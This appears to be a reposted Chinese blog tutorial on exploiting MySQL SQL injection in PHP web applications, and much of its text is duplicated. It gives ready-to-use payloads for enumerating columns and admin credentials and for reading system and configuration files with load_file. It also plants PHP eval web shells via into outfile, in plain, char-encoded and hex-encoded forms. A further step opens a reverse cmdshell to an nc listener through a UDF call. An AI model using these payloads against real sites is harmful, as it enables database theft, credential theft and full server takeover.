作者:Empty
1、判断注入点：
and 1=1 (正常、与先前的页面大致一样)
and 1=2 (错误、与先前的页面不一样)
1、判断注入点：
and 1=1 (正常、与先前的页面大致一样)
and 1=2 (错误、与先前的页面不一样)
--------------------------------------------------------------------------------------------
2、判断是否能进行UNION查询：
and ord(mid(version(),1,1))>51 (页面返回正常说明可以查询,通过版本判断4.0以上可用UNION查询,ascii值51对应是3，大于3返回正常说明版本在3.0以上)
--------------------------------------------------------------------------------------------
3、利用order by 暴字段：
order by 数字 (返回正常说明字段大于该数字，如数字为5错误，为4正确，说明字段是4个)
--------------------------------------------------------------------------------------------
4、利用union来查询准确字段：
and 1=2 union select 1,2,3,....... (返回正常，就说明猜到准确字段数)
--------------------------------------------------------------------------------------------
5、判断数据库连接帐号有没有写权限(root权限)：
and (select count(*) from mysql.user)>0 (a.返回错误我们就猜管理员的帐号密码 b.返回正常则可以通过load_file(char(文件路径ascii值，用逗号隔开 也可以用十六进制)函数，通过这种方式读取配置文件)
--------------------------------------------------------------------------------------------
6、猜管理员的帐号密码：
a、先来判断是否用为字符集的问题无法显示出内容(就算表名和字段名正确的情况都无法显示内容)
and 1=2 union select 1,user(),3,4,5,6....(返回 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
这样的信息说明无法猜解，直接跳到7)
主要函数说明：user() 查看当前数据库的连接用户,不是ROOT的。
database() 查看数据库名
version() 查看版本的
system_user() 查看系统用户名
current_user 查看当前用户名
session_user() 查看连接数据库的用户名
b、猜解语句：
and 1=2 union select 1,2,3,4,5,6.... from 表名 (先猜解表)
and 1=2 union select 1,字段名,3,4,5,6.... from admin (猜解admin表里面的字段 ,常用字段：username用户名字段 password密码字段 如果猜解不出来字段，我们可以查找该站点后台源代码即可知道字段)
注意：猜解字段时候如果猜解不出来，要测试所有的字段位置，本文中就是第二个位置。也可以不用and 1=1这句，但是要把前面的字段改成负的。如：php?id=-1 union select 1,2,3,4,5,6.... from 表名
--------------------------------------------------------------------------------------------
7、通过load_file(char())函数，通过这种方式读取配置文件：
and 1=2 union select 1,2,3,4,5,6,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),8.........
99,58,92,98,111,111,116,46,105,110,105 (是文件路径ascii值，用逗号隔开，也可以用十六进制)
99,58,92,98,111,111,116,46,105,110,105 (是c:\boot.ini ascii值 此文件可以暴出操作系统的版本)
如果用16进制读取的话用：
and 1=2 union select 1,2,3,4,5,6,load_file(0x633A5C626F6F742E696E69),8......... (记住不用加char)
0x633A5C626F6F742E696E69 (是c:\boot.ini 十六进制值 此文件可以暴出操作系统的版本)
敏感路径：
99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105
c:/windows/php.ini 2003
99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105
c:/winnt/php.ini 2000
99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105
c:/windows/my.ini 2003(管理员登陆过MYSQL会留下密码和用户名)
99,58,47,119,105,110,110,116,47,109,121,46,105,110,105
c:/winnt/my.ini 2000(管理员登陆过MYSQL会留下密码和用户名)
LUNIX/UNIX下:
47,101,116,99,47,112,97,115,115,119,111,114,100
/etc/password
47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,
110,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/httpd/conf/httpd.conf (也许能找到网站默认目录)
47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110
,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/apache2/conf/httpd.conf (也许能找到网站默认目录)
FreeBSD下:
load_file(char(47)) (列出了此FreeBSD系统的根目录)
注意:如果本文在第七的位查询，如果查询不出来要换位置继续查询。linux系统用十六进制查询，好像liunx可以暴文件夹
技巧：
a、c:\windows\system32\boot.dat 这是WINLOGONHACK密码截获工具保存密码路径(一般高手进去喜欢用WINLOGONHACK这款密码截获工具来截获服务器密码，这样我们就省事多了)密码截获工具还有：NTPASS.
b、明明确认自己拥有读和写文件的权利,却硬是读不出来文件,或者一片空白.为什么?
原因：1.可能是对方的系统在权限配置上做的好,你的USER权限, 读不到他ADMINISTRATOR里的文件.NTFS和LINUX都能做到这点。2.你读出来的内容,被浏览器当作 HTML,ASP,PHP,ASPX,JSP等等的脚本语言给执行了?譬如你读出来的内容如果含有<>等符号,那么浏览器就会执行你的文件内容,你自然什么都看不到。
解决办法：
1.不能解决
2.我们只要把那些特殊的符号,在读出来的时候,用别的符号去代替他们,这样浏览器就不会去执行他们了! 怎么代替?我们有replace(load_file(A),char(B),char(C))函数在!当你读A文件出来的时候,如果里面有B字母或者符号,那么MYSQL会用C字母或者符号去代替B,然后再显示出来.
如：
replace(load_file(A)),char(60),char(32)) (这里一样用的CHAR()函数转换为字母即一旦出现"<"符号,就用空格来代替他.这样就能完整的回显内容给你了,60是"<"符号,32是空格)
c、所有的字段位置都不够位置回显,读到的文件不完整哦,又不是上面的原因,那么怎么办呢？
解决办法：
这里我们用Substring(str,pos,len)函数解决问题.他的意思是从字符串str的pos位位置起返回len 个字符的子串
如：
譬如Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显啦.
一般配置文件都在INC这样的文件夹conn.php config.php这样的文件里，也可以查看别的文件，有的调用配置文件，一般都在顶部.
--------------------------------------------------------------------------------------------
提高篇(网上收集)：
into outfile的高级运用：
load_file()我们就说那么多了.接下来,我们还有许多的重头戏要来呢!这里,我要说下一个很重要的运用方法,也正是我着重参考剑心几部作品的技术的部分.当我们确定如下几个条件以后:
1获得物理路径(into outfile '物理路径') 这样才能写对目录
2能够使用union (也就是说需要MYSQL3以上的版本)
3对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
4就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
5对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.
这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.
需要的条件确定了,那怎么用呢?我们分开两部来说用法.
用法1：这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用
http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* 你的小马就诞生了.
其中/www/home/html/upload/qingyafengping.jpg为你已上传的***地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
用法2：也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.
譬如
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*
或者
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*
或者
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*
3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
--------------------------------------------------------------------------------------------
8、当暴出mysql帐号和密码就可以用mysql.exe进行远程链接，然后用SQL语句导出一句话(必须MYSQL服务器和WEB程序在同一服务器上)
连接远程MYSQL服务器命令(在命令下执行)：
mysql -h ip -u帐户 -p密码
然后执行一个命令：use mysql;
接着导出一句话：
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/路径/empt.php';
Drop TABLE IF EXISTS a;
----end code---
注意：必须一行一行执行。
MYSQL常用命令：
show databases; (列出数据库名称)
--------------------------------------------------------------------------------------------------
mysql得系统权限命令：
在先本地用NC监听端口：
nc -vv -l -p 1983
然后在远程服务器上执行(必须一行一行执行)：
\. c:\mysql.txt
select Mixconnect('本地机子的IP','1983');
本地机子就可以得到远程服务器上的cmdshell
--------------------------------------------------------------------------------------------------
另种猜解(返回正常成立，返回错误不成立)：
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2/* (检测字段)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/from/**/表/* (猜解表)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,字段/**/from/**/表/* (猜解字段)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,load_file(cha(99,58,92,98,111,111,116,46,105,110,105)),7,8/* (暴文件)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,username,7,8/**/from/**/表/**/where/**/id=1/* 暴字段内容
2、判断是否能进行UNION查询：
and ord(mid(version(),1,1))>51 (页面返回正常说明可以查询,通过版本判断4.0以上可用UNION查询,ascii值51对应是3，大于3返回正常说明版本在3.0以上)
--------------------------------------------------------------------------------------------
3、利用order by 暴字段：
order by 数字 (返回正常说明字段大于该数字，如数字为5错误，为4正确，说明字段是4个)
--------------------------------------------------------------------------------------------
4、利用union来查询准确字段：
and 1=2 union select 1,2,3,....... (返回正常，就说明猜到准确字段数)
--------------------------------------------------------------------------------------------
5、判断数据库连接帐号有没有写权限(root权限)：
and (select count(*) from mysql.user)>0 (a.返回错误我们就猜管理员的帐号密码 b.返回正常则可以通过load_file(char(文件路径ascii值，用逗号隔开 也可以用十六进制)函数，通过这种方式读取配置文件)
--------------------------------------------------------------------------------------------
6、猜管理员的帐号密码：
a、先来判断是否用为字符集的问题无法显示出内容(就算表名和字段名正确的情况都无法显示内容)
and 1=2 union select 1,user(),3,4,5,6....(返回 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
这样的信息说明无法猜解，直接跳到7)
主要函数说明：user() 查看当前数据库的连接用户,不是ROOT的。
database() 查看数据库名
version() 查看版本的
system_user() 查看系统用户名
current_user 查看当前用户名
session_user() 查看连接数据库的用户名
b、猜解语句：
and 1=2 union select 1,2,3,4,5,6.... from 表名 (先猜解表)
and 1=2 union select 1,字段名,3,4,5,6.... from admin (猜解admin表里面的字段 ,常用字段：username用户名字段 password密码字段 如果猜解不出来字段，我们可以查找该站点后台源代码即可知道字段)
注意：猜解字段时候如果猜解不出来，要测试所有的字段位置，本文中就是第二个位置。也可以不用and 1=1这句，但是要把前面的字段改成负的。如：php?id=-1 union select 1,2,3,4,5,6.... from 表名
--------------------------------------------------------------------------------------------
7、通过load_file(char())函数，通过这种方式读取配置文件：
and 1=2 union select 1,2,3,4,5,6,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),8.........
99,58,92,98,111,111,116,46,105,110,105 (是文件路径ascii值，用逗号隔开，也可以用十六进制)
99,58,92,98,111,111,116,46,105,110,105 (是c:\boot.ini ascii值 此文件可以暴出操作系统的版本)
如果用16进制读取的话用：
and 1=2 union select 1,2,3,4,5,6,load_file(0x633A5C626F6F742E696E69),8......... (记住不用加char)
0x633A5C626F6F742E696E69 (是c:\boot.ini 十六进制值 此文件可以暴出操作系统的版本)
敏感路径：
99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105
c:/windows/php.ini 2003
99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105
c:/winnt/php.ini 2000
99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105
c:/windows/my.ini 2003(管理员登陆过MYSQL会留下密码和用户名)
99,58,47,119,105,110,110,116,47,109,121,46,105,110,105
c:/winnt/my.ini 2000(管理员登陆过MYSQL会留下密码和用户名)
LUNIX/UNIX下:
47,101,116,99,47,112,97,115,115,119,111,114,100
/etc/password
47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,
110,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/httpd/conf/httpd.conf (也许能找到网站默认目录)
47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110
,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/apache2/conf/httpd.conf (也许能找到网站默认目录)
FreeBSD下:
load_file(char(47)) (列出了此FreeBSD系统的根目录)
注意:如果本文在第七的位查询，如果查询不出来要换位置继续查询。linux系统用十六进制查询，好像liunx可以暴文件夹
技巧：
a、c:\windows\system32\boot.dat 这是WINLOGONHACK密码截获工具保存密码路径(一般高手进去喜欢用WINLOGONHACK这款密码截获工具来截获服务器密码，这样我们就省事多了)密码截获工具还有：NTPASS.
b、明明确认自己拥有读和写文件的权利,却硬是读不出来文件,或者一片空白.为什么?
原因：1.可能是对方的系统在权限配置上做的好,你的USER权限, 读不到他ADMINISTRATOR里的文件.NTFS和LINUX都能做到这点。2.你读出来的内容,被浏览器当作 HTML,ASP,PHP,ASPX,JSP等等的脚本语言给执行了?譬如你读出来的内容如果含有<>等符号,那么浏览器就会执行你的文件内容,你自然什么都看不到。
解决办法：
1.不能解决
2.我们只要把那些特殊的符号,在读出来的时候,用别的符号去代替他们,这样浏览器就不会去执行他们了! 怎么代替?我们有replace(load_file(A),char(B),char(C))函数在!当你读A文件出来的时候,如果里面有B字母或者符号,那么MYSQL会用C字母或者符号去代替B,然后再显示出来.
如：
replace(load_file(A)),char(60),char(32)) (这里一样用的CHAR()函数转换为字母即一旦出现"<"符号,就用空格来代替他.这样就能完整的回显内容给你了,60是"<"符号,32是空格)
c、所有的字段位置都不够位置回显,读到的文件不完整哦,又不是上面的原因,那么怎么办呢？
解决办法：
这里我们用Substring(str,pos,len)函数解决问题.他的意思是从字符串str的pos位位置起返回len 个字符的子串
如：
譬如Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显啦.
一般配置文件都在INC这样的文件夹conn.php config.php这样的文件里，也可以查看别的文件，有的调用配置文件，一般都在顶部.
--------------------------------------------------------------------------------------------
提高篇(网上收集)：
into outfile的高级运用：
load_file()我们就说那么多了.接下来,我们还有许多的重头戏要来呢!这里,我要说下一个很重要的运用方法,也正是我着重参考剑心几部作品的技术的部分.当我们确定如下几个条件以后:
1获得物理路径(into outfile '物理路径') 这样才能写对目录
2能够使用union (也就是说需要MYSQL3以上的版本)
3对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
4就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
5对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.
这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.
需要的条件确定了,那怎么用呢?我们分开两部来说用法.
用法1：这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用
http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* 你的小马就诞生了.
其中/www/home/html/upload/qingyafengping.jpg为你已上传的***地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
用法2：也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.
譬如
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*
或者
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*
或者
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*
3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
--------------------------------------------------------------------------------------------
8、当暴出mysql帐号和密码就可以用mysql.exe进行远程链接，然后用SQL语句导出一句话(必须MYSQL服务器和WEB程序在同一服务器上)
连接远程MYSQL服务器命令(在命令下执行)：
mysql -h ip -u帐户 -p密码
然后执行一个命令：use mysql;
接着导出一句话：
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/路径/empt.php';
Drop TABLE IF EXISTS a;
----end code---
注意：必须一行一行执行。
MYSQL常用命令：
show databases; (列出数据库名称)
--------------------------------------------------------------------------------------------------
mysql得系统权限命令：
在先本地用NC监听端口：
nc -vv -l -p 1983
然后在远程服务器上执行(必须一行一行执行)：
\. c:\mysql.txt
select Mixconnect('本地机子的IP','1983');
本地机子就可以得到远程服务器上的cmdshell
--------------------------------------------------------------------------------------------------
另种猜解(返回正常成立，返回错误不成立)：
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2/* (检测字段)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/from/**/表/* (猜解表)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,字段/**/from/**/表/* (猜解字段)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,load_file(cha(99,58,92,98,111,111,116,46,105,110,105)),7,8/* (暴文件)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,username,7,8/**/from/**/表/**/where/**/id=1/* 暴字段内容
转载于:https://blog.51cto.com/mrsun/280739
2548
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
